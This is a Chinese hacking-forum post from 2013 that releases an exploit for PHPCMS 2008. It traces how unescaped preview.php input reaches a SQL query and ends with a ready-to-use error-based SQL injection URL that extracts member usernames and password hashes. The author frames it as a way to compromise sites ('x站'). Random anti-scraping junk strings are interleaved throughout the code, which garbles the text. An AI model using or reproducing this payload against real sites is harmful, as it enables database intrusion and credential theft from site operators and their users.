中国网络渗透测试联盟
标题:
PHPCMS 2008 最新漏洞(第二季)附EXP
[打印本页]
作者:
admin
时间:
2013-4-19 19:17
标题:
PHPCMS 2008 最新漏洞(第二季)附EXP
说好的第二季来了......
1 S5 L) x: X. u' o1 G5 |6 D
; _! r- e/ M9 [7 Q7 U% S
要转摘的兄弟们,你们还是带个版权吧!
, v6 w# u7 R6 l3 {/ i N3 G$ V2 L
# v- G7 S5 w- k+ P4 _% ~. t5 K
组织 :
http://www.safekeyer.com/
(欢迎访问)
, I$ L& U# l( ^
( `! @- o/ S) y( B) ~& E
author: 西毒 blog:
http://hi.baidu.com/sethc5
/ v2 Q+ c6 V" l! b
' @ C$ Z" \+ D2 w6 A- f! Q% {
" Y, L$ x7 S; y4 M# Z( b$ n' r
, _: y- }5 C6 p9 ^
其实还是有蛮多漏洞的,只是我一步步来吧!你们别催,该放的时候自然就会放了.
( Y6 G: I7 _5 f% w3 X$ ?, B& L! G
* w- u, X0 r4 J$ I% M+ n
过程不明显的我就省略了。
5 X7 F: {" Z. Q) X/ k9 c$ }, A7 I
. @: l/ c) K& a+ L0 a4 a" I" ]; h
在preview.php 中第7行
7 W6 _0 `% K8 C! ~7 n% m- S
0 H8 a, R/ i$ n5 t% N
$r = new_stripslashes($info);
& j" z; \1 f3 ]$ y! z9 h* {
2 w2 k# U; q8 R7 C
我们跟踪new_stripslashes这个函数
j8 \5 v0 H# i; e* L
5 N& {: x2 b3 J9 a- |: s" G
在global.func.php中可以找到
: r' F; R) q- g
6 Q8 A. X7 L! t) A. \" Z; x
1
7 v9 `3 u2 [6 i: m- \. E* ?$ V- ^
2
3 l. R. r- ?+ g: ?' a9 g3 l7 q
3
2 p' A* h5 l7 s" [
4
2 x& Y" q- W" Z* Y$ _# V. B: ~
5
2 d# y) |+ d2 E1 l$ J7 t
6 function new_stripslashes($string)
+ {# A" O. p6 p
{
0 `) d' W8 p% x$ e" u G) e! ], [5 q
if(!is_array($string)) return stripslashes($string);
$ } M t2 ?- ~4 j6 {/ E( `
foreach($string as $key => $val) $string[$key] = new_stripslashes($val);
7 r9 r0 N4 w1 U: L( ?! P( P
return $string;
: x$ H8 x' ?2 l+ }% j. u* _
}
. a4 R& I$ w! ?' |# Z9 @
. u" w5 Z8 Z; n2 e% |" ~$ N' ^: F7 @
这个函数的功能不用解释了吧
, f* K, {% i7 N5 B
- B. S" I* M. m8 `6 w& h) U0 R7 C
所以我们看具体应用点再哪?
( w m D- m% l0 }
$ L8 c: l2 V% o, V. q* V; S
1
0 Z; j7 t+ v8 q) p4 ]( h
2
: u+ v( s. q2 |% w8 ]5 p
3
- ?, }5 }7 f1 E/ ^
4
2 k \9 m& j" w2 R& x% v# Q: q
5
, j, s" B ^* y
6
% S: T$ |" a T8 {- l+ c. t+ p1 v
7
. T; q$ M' B6 ?* z
8
7 Q! n5 s% x! S8 m
9
8 c7 i: w6 F5 D w
10
" L& a" a* k8 Z6 H
11
7 \* [) e. c* O
12
6 |$ G3 N7 D$ G* R; U& @
13
% k% y3 E7 f4 L: a
14
4 P. p. T! _2 Y* K# t2 P) |
15
" P) ]9 N4 P- L4 \. z- d
16
0 o7 M% \) h. x3 C
17
5 A' e/ {: D3 i( z# \
18
" ]! Q4 G5 o, R$ E9 V1 F
19
7 M5 R+ B) E7 c/ Q( d
20
- P/ L1 V0 w: e% t+ K2 P
21
5 ^: p5 V9 |) L( s
22
/ @6 k4 e2 ]) h
23
& [5 s7 L- `7 C1 C
24
# e3 g w2 I6 H
25
& c9 t1 c- I7 _5 f
26
* P0 j/ I# d5 A5 K
27
% `* g8 m+ X y/ ^) e$ y! ^- a
28
+ b; _6 S& m, ~2 Z) J
29
& {, \8 { J6 @
30
- X4 ^0 A. c% \9 ]( d
31
. F6 ~. w% h( G" _/ M
32
0 c* l% L5 _% |& J" u+ n! F+ v
33
. q# s, S0 @ _+ t$ B3 N9 C+ |
34
3 ?( U! n' c5 B: |& x( r8 u, H2 j
35 require dirname(__FILE__).'/include/common.inc.php';
4 Y N" a0 r- Y
if(!$_userid) showmessage('禁止访问'); // 所以前提是我们注册个会员就ok了.
0 h! [, o3 ~! {$ n; T0 s, ]9 }3 K
require_once CACHE_MODEL_PATH.'content_output.class.php';
( C3 D7 Z/ Z: i! L# s: ]9 E; g
require_once 'output.class.php';
' D' z( }$ Y) |( ]7 [
if(!is_array($info)) showmessage('信息预览不能翻页');//这里将要带进来我们的危险参数了
! S: Q) h( I3 d8 R
$r = new_stripslashes($info); //反转义了.....关键
, e$ `" w' q+ R2 U7 T
$C = cache_read('category_'.$r['catid'].'.php');
4 M7 Z9 G1 S6 l& Z, f
$out = new content_output();
% a# E- N1 G. ~4 n( h& w* K
$r['userid'] = $_userid;
# x. U- b% Q& O7 v7 q6 _. U
$r['inputtime'] = TIME;
8 g; B! N$ g: x
$data = $out->get($r);
: @- A" n$ S; {1 k: ^
extract($data);
0 |0 f5 ?8 j; g" E4 ]6 }
$userid = $_username;
0 \2 p+ A* P. ^5 E5 r* _
for($i=1;$i<10;$i++)
4 I1 B) O/ f. [) v. Z
{
" A* i9 a% _5 s- ~
$str_attachmentArray[$i] = array("filepath" => "images/preview.gif","description" => "这里是图片的描述","thumb"=>"images/thumb_60_60_preview.gif");
9 e+ _+ k1 c& Z4 V3 N
}
2 Y, Q1 J0 [* A! n/ v. x1 i, n' a* d
5 k2 L5 S& G3 M8 p( a9 s/ U0 r* ~
$array_images = $str_attachmentArray;
$ c4 Z1 u! e, M6 @' m; q
$images_number = 10;
5 A. }1 U3 a. [6 V+ i$ M( R; A
$allow_priv = $allow_readpoint = 1;
2 \# h' W' R5 |2 D3 Z; E3 t
$updatetime = date('Y-m-d H:i:s',TIME);
1 o3 D8 ^2 y' n- l& J- Y* z: n: A
+ E2 Q5 A/ L6 y
$page = max(intval($page), 1);
( ]' E8 l3 I- {. U3 R l
$pages = $titles = '';
5 X: W: l! B5 P4 t) h' a. Y
if(strpos($content, '') !== false) //这里必须还有这个这个字符.....才能操作哈
5 [( O( T) m4 @% K# B
{
; T1 Y& \& F, l! s$ f
require_once 'url.class.php';
8 ~: w/ ]+ v0 S& c7 H' u/ m' y( Z4 r
$curl = new url();
: f* R4 Q: F# w7 ~3 s" Y
$contents = array_filter(explode('', $content));
+ g) E" ^5 Q' R9 q4 k. p9 i! \
$pagenumber = count($contents);
2 u3 D4 @7 q8 Q% K+ Y' {& z
for($i=1; $i<=$pagenumber; $i++)
8 F, c& \0 H/ V6 A# p: |9 N
{
h2 a' H7 L! n- k6 g8 U! X$ V1 P
$pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);//这里contentid进入SQL语句当中
4 `0 }; q+ u' y. z& F
}
) W" u! r- g0 B4 X
其中细节我就不说了...
# \7 J# K1 X: h3 j0 j$ A
: m: N9 o5 o. V% f( ^9 ~! a
我们看看这个$curl资源句柄中的show方法
( _+ m7 l( _2 @. b
. c2 Q. e: Y6 m0 J3 A7 h& E
1 $pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);
- N/ C* H+ `" v- {: \2 j$ X
9 _5 S- }; b5 ^. {& U& k c
1
- i/ X) H: ^! V5 z1 l
2
2 i1 s* }# x( F% t$ ?4 h! O
3
7 V* `- Z6 B5 o
4
# Y" Y) K+ c0 e( g
5
) T1 Z/ @# w, ^$ |( S
6
' X( ?' o' Z. y( M0 E
7
8 A! q- @0 w+ \
8 function show($contentid, $page = 0, $catid = 0, $time = 0, $prefix = '')
A( \" B/ i- R+ T
{
; M) a. S0 v8 Y6 L J
global $PHPCMS;
* q9 a* ?: }: M% y9 Z# q8 V
if($catid == 0 || $time == 0 || $prefix == '')
8 m7 M- I0 A9 l5 t* U$ P
{
& g' g8 M9 r' W
$r = $this->db->get_one("SELECT * FROM `".DB_PRE."content` WHERE `contentid`='$contentid'");
: x& |; x2 Q( N! p8 y) U
if($r['isupgrade'] && !empty($r['url']))
5 G3 {% V: S$ v
{
4 W0 W w7 j) R G1 ]! L/ e
. `7 S1 [/ Z$ J. c+ h3 p4 Y( u. B
所以结合前面的......我们x站了吧
7 K% J. Y- _5 n2 P& v$ n
( N3 Q7 I3 _0 L7 F) \& w
给出exp
5 |9 y& I6 r m+ I. W
& N. t$ ]& j1 T$ j, G
www.xxxxx.com/preview.php?info
[catid]=15&content=ab&info[contentid]=2' and (select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)-- a
$ ^6 ?2 w+ w5 }
# }: W5 ?9 O) m
截图看一下
' e- o4 A1 h1 N* A3 j5 S
" t2 G% Z" C8 T/ ]; n5 ]
最后真心说句,360收购漏洞计划,价格真心低.....
: {) b; `2 T/ ~, R( ~( ?0 @- }2 L) I
http://www.myhack58.com/Article/UploadPic/2013-4/2013419151239428.jpg
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2